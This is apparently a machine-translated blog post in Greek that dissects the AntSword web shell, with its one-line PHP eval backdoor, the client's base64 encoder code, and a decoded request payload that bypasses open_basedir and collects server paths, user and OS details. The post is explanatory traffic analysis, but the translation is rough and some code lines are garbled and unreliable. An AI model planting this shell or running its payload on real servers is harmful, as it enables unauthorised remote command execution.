τα στοιχεία επικοινωνίας μου
Ταχυδρομείο[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
αναφέρομαι σε
μεΠρώταΓια παράδειγμα
Δούρειος ίππος
<?php @eval(base64_decode($_POST['ant']));?>
Λάβετε το περιεχόμενο της παραμέτρου μυρμήγκι και, στη συνέχεια, το base64 αποκωδικοποιήστε το και εκτελέστε το
Κωδικοποιητής
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Δημιουργήστε ένα τυχαίο αριθμό randomID, base64-κωδικοποιήστε τα δεδομένα και περάστε τα στην παράμετρο randomID.
Επειταeval(base64_decode($_POST[${randomID}]));die();
Εκτελέστε κωδικοποίηση base64
Αντιθέτως
Ο Trojan το παίρνει πρώτοςdata[pwd]
Αυτό είναιant
Η τιμή λαμβάνεται μετά την αποκωδικοποίηση του base64
eval(base64_decode($_POST[${randomID}]));die();
Στην πραγματικότητα, ο Τρωικός έγινε
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Ας υποθέσουμε ότι ο παραγόμενος τυχαίος αριθμός τυχαίο ID είναιA
, τότε αυτό είναι
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
Στο δεύτερο σκαλοπάτι του δούρειου ίππου, τοdata[randomID]
, αυτό είναι$_POST[${randomID}]
, δηλαδή εδώ$_POST[A]
Έχει κωδικοποιηθεί το base64, επομένως πρέπει να αποκωδικοποιηθεί μία φορά. Τότε τίθεται το ερώτημα, γιατί πρέπει να εκτελεστεί δύο φορές; ? ?Στη συνέχεια, πρέπει να το ελέγξετε από το πακέτο κυκλοφορίας
Δεν υπάρχει καμία επίδειξη εδώ για την κατασκευή περιβάλλοντος Xiaopi, Yijian και το burpsuite είναι αρκετά.
Αποκωδικοποιήστε τη βάση πακέτων δεδομένων
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Μετά γίνεταιeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Ρίξτε μια ματιά σε αυτή τη μεγάλη παράγραφο και τακτοποιήστε την
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
Φυσικά, δεν ξέρω πολλές λειτουργίες, αλλά υπάρχει AI!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
Αυτή η παράγραφος είναι
Απενεργοποιήστε την εμφάνιση σφαλμάτων
Ρύθμιση χρόνου εκτέλεσης σεναρίου
Λάβετε την τιμή διαμόρφωσης του open_basedir και το bypassopen_basedir
Περιορισμοί χαρακτηριστικών
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
Αυτή η ενότητα λαμβάνει τον κατάλογο όπου βρίσκεται το τρέχον σενάριο και αρχικοποιεί τις παραμέτρους συμβολοσειράς.$R
, διασχίστε το γράμμα μονάδας δίσκου, το CZ εκτοξεύει το γράμμα μονάδας δίσκου, χρησιμοποιεί τη συνάρτηση posix_getegid για να αποκτήσει το όνομα χρήστη, την ομάδα χρηστών και άλλα περιεχόμενα του χρήστη που εκτελεί το σενάριο, ανίχνευση$u
Εάν δεν υπάρχει, χρησιμοποιήστε τη συνάρτηση get_current_user () για να την αποκτήσετε.
Είναι πολύ σαφές σε αυτό το σημείο Αυτός ο κώδικας php λαμβάνει τον τρέχοντα κατάλογο εκτέλεσης, το γράμμα της μονάδας δίσκου, τον χρήστη και τις πληροφορίες του λειτουργικού συστήματος του Trojan, λόγω της χρήσης του μηχανισμού προσωρινής αποθήκευσης
Εκτελέστε συλλογική έξοδο στη συνάρτηση asoutput(),
Στείλτε το παραπάνω πακέτο αιτήματος στη μονάδα επαναλήπτη και βρείτε ότι τα αποτελέσματα που επιστράφηκαν είναι τα ίδια
Αλλά αυτό δεν μπορεί να εξηγήσει γιατί υπάρχουν δύο eval Στην πραγματικότητα, το περιεχόμενο που μεταφέρεται από το μυρμήγκι ανήκει στη συμβολοσειρά μόνο όταν ένα επίπεδο eval θα εκτελεστεί ως συνάρτηση.
<?php
eval("eval('echo 1+1;');die();")
?>
Μεταμορφώνω
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
Το τελικό αποτέλεσμα εξόδου είναι 2, που σημαίνει ότι το εξωτερικό eval μετατρέπει τη συμβολοσειρά σε συνάρτηση για εκτέλεση και το εσωτερικό επίπεδο του eval εκτελεί το περιεχόμενο
Έτσι, σε αυτό το παράδειγμα, το eval του Trojan χρησιμοποιείται για την ενεργοποίηση της συνάρτησης eval στο πακέτο αιτήματος, επιτυγχάνοντας έτσι το αποτέλεσμα της εκτέλεσης της εντολής.